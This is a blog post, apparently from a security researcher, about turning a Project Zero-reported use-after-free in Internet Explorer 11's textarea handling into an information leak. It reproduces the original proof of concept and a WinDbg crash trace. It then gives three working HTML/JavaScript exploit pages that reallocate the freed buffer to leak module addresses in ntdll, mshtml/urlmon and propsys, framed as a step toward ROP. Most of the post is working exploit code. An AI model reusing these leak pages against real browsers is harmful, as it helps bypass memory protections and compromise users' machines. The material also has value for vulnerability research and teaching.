Internet Explorer
“There is an use-after-free bug in IE which can lead to info leak / memory disclosure.
The bug was confirmed on Internet Explorer version 11.0.9600.18537 (update version 11.0.38).
[…]
The root cause of a bug is actually a use-after-free on the textarea text value, which can be seen if a PoC is run with Page Heap enabled.”
The PoC
The vulnerability was found by Ivan Fratric of Google Project Zero. He kindly provided a proof of concept to trigger the uaf with Page Heap enabled:
<!-- saved from url=(0014)about:internet -->
<script>
function run() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
alert("Text value freed, can be reallocated here");
}
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" cols="80">aaaaaaaaaaaaaaaaaaaaaaaa</textarea>
With HPA:
(a2c.6ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=123d3fc8 ebx=00000019 ecx=123d3fc8 edx=123d3fc8 esi=107dafcc edi=00000000
eip=76fec006 esp=098db398 ebp=098db3a4 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
msvcrt!wcscpy_s+0x46:
76fec006 0fb706 movzx eax,word ptr [esi] ds:002b:107dafcc=????
0:007> !heap -p -a esi
address 107dafcc found in
_DPH_HEAP_ROOT @ 4da1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
103e3138: 107da000 2000
5c3e947d verifier!AVrfDebugPageHeapReAllocate+0x0000036d
77ea126b ntdll!RtlDebugReAllocateHeap+0x00000033
77e5de86 ntdll!RtlReAllocateHeap+0x00000054
59b4f453 MSHTML!CTravelLog::_AddEntryInternal+0x00000215
59b38b69 MSHTML!MemoryProtection::HeapReAlloc<0>+0x00000026
59b47145 MSHTML!_HeapRealloc<0>+0x00000011
595ac33e MSHTML!BASICPROPPARAMS::SetStringProperty+0x00000546
5950ec9c MSHTML!CBase::put_StringHelper+0x0000004d
59f771b0 MSHTML!CFastDOM::CHTMLTextAreaElement::Trampoline_Set_defaultValue+0x00000070
5bb0e21a jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000019d
5bb0ec95 jscript9!Js::JavascriptOperators::CallSetter+0x00000138
5bb0ebd2 jscript9!Js::JavascriptOperators::CallSetter+0x00000076
5bb0f74e jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0x00000341
5bb0f546 jscript9!Js::JavascriptOperators::OP_SetProperty+0x00000040
5bb0f5c6 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x0000004d
5bb0a0fb jscript9!Js::InterpreterStackFrame::Process+0x00002c1e
5bb0d899 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x00000200
The Exploit
A really quick analysis revealed that what can be replaced is the memory chunk that was allocated (and then freed) for the text of the text area. Also, it looks like this allocation was made in the default process heap.
Find an object with the same size of the chunk pointed by ESI (or slightly a bit less) allocated within the same heap and with useful information in it (vtables?) and the leaked data will be copied into content of the text area (via that “movzx” instruction that you see above).
The good news is that the chunk pointed by EDI can be resized by changing the amount of text you put in the text box.
Limitations:
- the first dword is not copied (duh..)
- null bytes will terminate the copy (this means no '\x00\x00', unless after the data we're interested in)
Examples:
Object 1
1st DWORD: vtable ptr
2nd DWORD: 00000000
3rd DWORD: vtable ptr
result: no leak, copy is terminated at the second dword, first dword is ignored
Object 2
1st DWORD: 00000000
2nd DWORD: 0000dead
3rd DWORD: vtable ptr
results: same as before
Object 3
1st DWORD: vtable ptr
2nd DWORD: vtable ptr
3rd DWORD: 00000000
results: second vtable ptr leaked
After a few failed experiments I managed to leak vtable pointer for dlls such as ntdll, mshtml, urlmon and, even better, propsys (a dll which was last updated in 2010, rop on this will be much more reliable):
Leak of ntdll:
<script>
function run() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
// Object replacement here (in default process heap)
// Size depends on amount of text in textarea
var j = document.createElement("canvas");
ctx=j.getContext("2d");
ctx.beginPath();
ctx.moveTo(20,20);
ctx.lineTo(20,100);
ctx.lineTo(70,100);
ctx.strokeStyle="red";
ctx.stroke();
// Object replaced
// ntdll leak
}
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaa</textarea>
<script>
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(2,4);
var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
alert(addr.toString(16));
}, 1000);
</script>
Leak of mshtml/urlmon:
<!-- saved from url=(0014)about:internet -->
<script>
function run() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "foo";
// Object replacement here (in default process heap)
// Size depends on amount of text in textarea
var o = document.createElement("progress");
// Object replaced
// "progress" object triggers multiple allocations, some in the default heap
// Can leak address in URLMON or MSHTML
}
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>
<!-- <textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea> FOR URLMON -->
<!-- <textarea id="textarea" style="display:none" cols="80">aaaaaaaaa</textarea> FOR MSHTML -->
<script>
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(0,2);
var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
alert("Leaked: 0x"+addr.toString(16));
}, 1000);
</script>
Leak of propsys:
<img draggable="false" role="img" class="emoji" alt="🙂" src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/svg/1f642.svg">
<!-- saved from url=(0014)about:internet -->
<script>
function run() {
var textarea = document.getElementById("textarea");
var frame = document.createElement("iframe");
textarea.appendChild(frame);
frame.contentDocument.onreadystatechange = eventhandler;
form.reset();
}
function eventhandler() {
document.getElementById("textarea").defaultValue = "";
var audioElm = document.createElement("audio");
audioElm.src = "test.mp3";
}
</script>
<body onload=run()>
<form id="form">
<textarea id="textarea" style="display:none" cols="80">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea>
<script>
setTimeout(function() {
var txt = document.getElementById("textarea");
var il = txt.value.substring(0,2);
var addr = parseInt(il.charCodeAt(1).toString(16) + il.charCodeAt(0).toString(16), 16);
alert("Leaked: 0x"+addr.toString(16));
}, 1000);
</script>
Share this: